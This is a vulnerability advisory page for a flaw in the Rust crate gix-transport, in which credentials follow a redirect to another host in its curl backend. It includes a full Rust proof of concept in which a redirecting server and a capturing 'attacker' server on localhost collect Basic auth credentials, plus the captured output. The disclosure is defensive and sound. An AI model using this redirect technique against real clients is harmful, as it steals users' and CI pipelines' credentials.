Loading...
Skip to main content

CVE-2026-82255 — Vulnerability in gix-transport — CVE Details

MEDIUM

gix-transport: HTTP credentials leaked to redirected host in curl backend

Published May 5, 2026Updated October 1, 2026Source: osv

Summary

## Summary The curl-based HTTP transport in `gix-transport` sends user credentials (passwords, tokens) to an attacker-controlled server after an HTTP redirect. When a server responds with a 302 redirect during the initial `GET /info/refs`, gitoxide records the redirected base URL and rewrites all subsequent requests to point at the redirected host. The `Authorization` header is still attached because `add_basic_auth_if_present()` only checks `self.url` (the original, never-updated URL). The reqwest backend is not affected. Its custom redirect policy at `reqwest/remote.rs` lines 60-64 compares `prev_url.host_str()` to `curr_url.host_str()` and calls `attempt.stop()` on cross-domain redirects, so `redirected_base_url` is never set to a different host. ## Details The vulnerability involves two components in `gix-transport`: **1. URL rewriting after redirect** ([gix-transport/src/client/blocking_io/http/curl/remote.rs](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/curl/remote.rs)) After a request completes, the effective URL is compared to the requested URL. If they differ (redirect occurred), the new base URL is stored (lines 355-359). On subsequent requests, `swap_tails()` rewrites the target URL to point at the redirected host (line 166). **2. Credential check uses original URL** ([gix-transport/src/client/blocking_io/http/mod.rs, lines 293-312](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/mod.rs#L293)) `add_basic_auth_if_present()` checks `self.url` (set once during construction, never mutated) to decide whether to attach credentials. Since `self.url` always points to the original host, credentials are approved even when the actual request goes to the redirected (attacker) host. The `Authorization` header is added to the headers list in `handshake()` (line 374) and `request()` (line 434) before being passed to the backend, which applies them to the rewritten URL via `handle.http_headers(headers)` (line 309). ### Attack flow: cross-domain credential leak 1. Victim clones `https://legitimate.com/repo` with credentials configured 2. Server returns 302 redirect on `GET /info/refs` to `https://attacker.com/...` 3. Curl follows the redirect and strips `Authorization` for this GET (safe so far) 4. Attacker serves a valid info/refs response; `redirected_base_url` is set 5. `POST /git-upload-pack` is rewritten via `swap_tails()` to `attacker.com` 6. `add_basic_auth_if_present()` checks `self.url` (still `legitimate.com`), approves credential sending 7. `Authorization: Basic <credentials>` is sent to `attacker.com` Curl's cross-domain header stripping only protects the redirected GET. It does not protect the POST, which is a new request with credentials re-attached by gitoxide. ### Secondary vector: HTTPS-to-HTTP downgrade The cleartext protection at `mod.rs` line 300-305 also checks `self.url`: ```rust if self.url.starts_with("http://") { return Err(client::Error::AuthenticationRefused("...")); } ``` This only validates the original URL's scheme, not the effective URL after redirect. A redirect from `https://legitimate.com` to `http://attacker.com` bypasses this check, causing credentials to be sent in cleartext over HTTP. 1. Victim clones `https://legitimate.com/repo` with credentials 2. Server redirects to `http://attacker.com/...` (note: HTTP, not HTTPS) 3. `add_basic_auth_if_present()` checks `self.url` (still `https://`), allows credentials 4. `Authorization` header is sent over unencrypted HTTP to `attacker.com` ## PoC A complete Rust project that reproduces the issue. It starts two local TCP servers (legitimate on :8080, attacker on :9090) and uses `gix-transport` to demonstrate the credential leak. **To run:** Create the project next to the gitoxide checkout so path dependencies resolve, then `cargo run`. <details> <summary>Cargo.toml</summary> ```toml [package] name = "poc-gitoxide-redirect" version = "0.1.0" edition = "2021" [dependencies] # http-client-insecure-credentials is only needed because the PoC uses http:// # to avoid TLS setup. A real attack would use https:// and not require this feature. gix-transport = { path = "../gitoxide/gix-transport", features = ["http-client-curl", "http-client-insecure-credentials"] } gix-sec = { path = "../gitoxide/gix-sec" } gix-url = { path = "../gitoxide/gix-url" } gix-packetline = { path = "../gitoxide/gix-packetline", features = ["blocking-io"] } ``` </details> <details> <summary>src/main.rs</summary> ```rust use std::io::{BufRead, BufReader, Write}; use std::net::TcpListener; use std::sync::mpsc; use std::thread; use gix_transport::client::{self, blocking_io::http, blocking_io::Transport, TransportWithoutIO}; fn main() { println!("=== gitoxide HTTP credential leak via redirect ===\n"); let (captured_tx, captured_rx) = mpsc::channel::<Vec<String>>(); // Attacker server (port 9090): captures credentials let attacker = TcpListener::bind("127.0.0.1:9090").expect("bind attacker"); let attacker_handle = thread::spawn(move || { let (mut conn1, _) = attacker.accept().expect("accept conn1"); let mut reader1 = BufReader::new(conn1.try_clone().unwrap()); let mut headers1 = Vec::new(); loop { let mut line = String::new(); reader1.read_line(&mut line).unwrap(); if line.trim().is_empty() { break; } headers1.push(line.trim().to_string()); } println!("[attacker] GET /info/refs headers (from redirect):"); for h in &headers1 { println!(" {h}"); } let pkt_service = "001e# service=git-upload-pack\n"; let pkt_flush = "0000"; let fake_hash = "a".repeat(40); let caps = "multi_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag"; let ref_line = format!("{fake_hash} HEAD\0{caps}\n"); let ref_pkt = format!("{:04x}{ref_line}", ref_line.len() + 4); let body = format!("{pkt_service}{pkt_flush}{ref_pkt}{pkt_flush}"); let response = format!( "HTTP/1.1 200 OK\r\nContent-Type: application/x-git-upload-pack-advertisement\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}", body.len() ); conn1.write_all(response.as_bytes()).unwrap(); conn1.flush().unwrap(); drop(conn1); let (mut conn2, _) = attacker.accept().expect("accept conn2"); let mut reader2 = BufReader::new(conn2.try_clone().unwrap()); let mut headers2 = Vec::new(); let mut content_length: usize = 0; loop { let mut line = String::new(); reader2.read_line(&mut line).unwrap(); if line.trim().is_empty() { break; } let trimmed = line.trim().to_string(); if let Some(cl) = trimmed.strip_prefix("Content-Length: ") { content_length = cl.parse().unwrap_or(0); } headers2.push(trimmed); } if content_length > 0 { let mut body_buf = vec![0u8; content_length]; use std::io::Read; reader2.read_exact(&mut body_buf).ok(); } println!("\n[attacker] POST /git-upload-pack headers:"); for h in &headers2 { let prefix = if h.starts_with("Authorization:") { " >>> LEAKED: " } else { " " }; println!("{prefix}{h}"); } let resp_body = "0000"; let response2 = format!( "HTTP/1.1 200 OK\r\nContent-Type: application/x-git-upload-pack-result\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{resp_body}", resp_body.len() ); conn2.write_all(response2.as_bytes()).unwrap(); conn2.flush().unwrap(); drop(conn2); captured_tx.send(headers2).ok(); }); // Legitimate server (port 8080): redirects to attacker let legit = TcpListener::bind("127.0.0.1:8080").expect("bind legit"); let legit_handle = thread::spawn(move || { let (mut conn, _) = legit.accept().expect("accept legit"); let mut reader = BufReader::new(conn.try_clone().unwrap()); let mut request_line = String::new(); reader.read_line(&mut request_line).unwrap(); println!("[legit] Received: {}", request_line.trim()); loop { let mut line = String::new(); reader.read_line(&mut line).unwrap(); if line.trim().is_empty() { break; } } let redirect_url = "http://127.0.0.1:9090/repo.git/info/refs?service=git-upload-pack"; let response = format!( "HTTP/1.1 302 Found\r\nLocation: {redirect_url}\r\nContent-Length: 0\r\n\r\n" ); conn.write_all(response.as_bytes()).unwrap(); conn.flush().unwrap(); println!("[legit] Sent 302 redirect to attacker server"); }); thread::sleep(std::time::Duration::from_millis(100)); println!("\n[client] Connecting to http://127.0.0.1:8080/repo.git with credentials..."); let url: gix_url::Url = "http://127.0.0.1:8080/repo.git".try_into().expect("parse url"); let mut transport: http::Transport<http::curl::Curl> = http::connect(url, gix_transport::Protocol::V1, false); transport .set_identity(gix_sec::identity::Account { username: "victim-user".into(), password: "super-secret-token".into(), oauth_refresh_token: None, }) .expect("set identity"); println!("[client] Performing handshake (GET /info/refs)..."); match transport.handshake(gix_transport::Service::UploadPack, &[]) { Ok(_) => println!("[client] Handshake succeeded"), Err(e) => println!("[client] Handshake error: {e}"), } println!("[client] Sending request (POST /git-upload-pack)..."); match transport.request(client::WriteMode::Binary, client::MessageKind::Flush, false) { Ok(_writer) => println!("[client] Request sent"), Err(e) => println!("[client] Request error: {e}"), } legit_handle.join().ok(); attacker_handle.join().ok(); println!("\n=== RESULT ==="); if let Ok(headers) = captured_rx.recv_timeout(std::time::Duration::from_secs(2)) { let leaked = headers.iter().any(|h| h.starts_with("Authorization:")); if leaked { let auth = headers.iter().find(|h| h.starts_with("Authorization:")).unwrap(); println!("VULNERABLE: Credentials leaked to attacker server!"); println!("Captured: {auth}"); } else { println!("NOT VULNERABLE: No credentials captured."); } } else { println!("ERROR: Timed out."); } } ``` </details> **Output:** ``` [attacker] GET /info/refs headers (from redirect): GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1 Host: 127.0.0.1:9090 Accept: */* User-Agent: git/oxide-0.55.0 [attacker] POST /git-upload-pack headers: POST /repo.git/git-upload-pack HTTP/1.1 Host: 127.0.0.1:9090 >>> LEAKED: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu VULNERABLE: Credentials leaked to attacker server! Captured: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu ``` The GET (from redirect) has no `Authorization` header. The POST carries the full credentials. The base64 decodes to `victim-user:super-secret-token`. ## Impact Any user who clones or fetches over HTTP(S) using gitoxide with the curl backend (`http-client-curl` feature) can have their credentials stolen by an attacker who controls a redirect target (via compromised server, DNS hijacking, or MITM). The only user interaction required is initiating the clone or fetch; the redirect and credential leak happen transparently. CI/CD pipelines using tokens are also at risk. ## Suggested Fix 1. Only attach `Authorization` if the effective URL's host matches the original URL's host. 2. Or block cross-origin redirects in the curl backend, matching reqwest's behavior. 3. Check the effective URL's scheme (not the original) for the HTTPS-to-HTTP downgrade.

Advisory Timeline

  • First published May 5, 2026 (160 days ago).
  • Last revised October 1, 2026 — 148 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Cargo
Update gix-transport to 0.56.0 or later
cargo update -p gix-transport --precise 0.56.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: crates.io (1).

PackageEcosystemAffectedFixed In
gix-transport
crates.io
All versions0.56.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 6.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-82255?
gix-transport: HTTP credentials leaked to redirected host in curl backend This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 6.8/10).
How do I check if my project is affected by CVE-2026-82255?
CVE-2026-82255 affects gix-transport. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-82255 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
6.8

Exploitation requires specific conditions or has limited impact. Remediate within weeks.

Also Known As

GHSA-9857-6mw7-fq2m

Related CVEs

  • CVE-2026-102821
    MEDIUM

    Russh: Unbounded memory exhaustion via CHANNEL_OPEN flood during a client-stalled rekey

  • CVE-2024-32884
    MEDIUM

    gix-transport indirect code execution via malicious username

  • CVE-2026-102820
    MEDIUM

    pageant: Out-of-bounds read / oversized allocation in `pageant` MemoryMap::read via a malicious Pageant agent (Windows)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies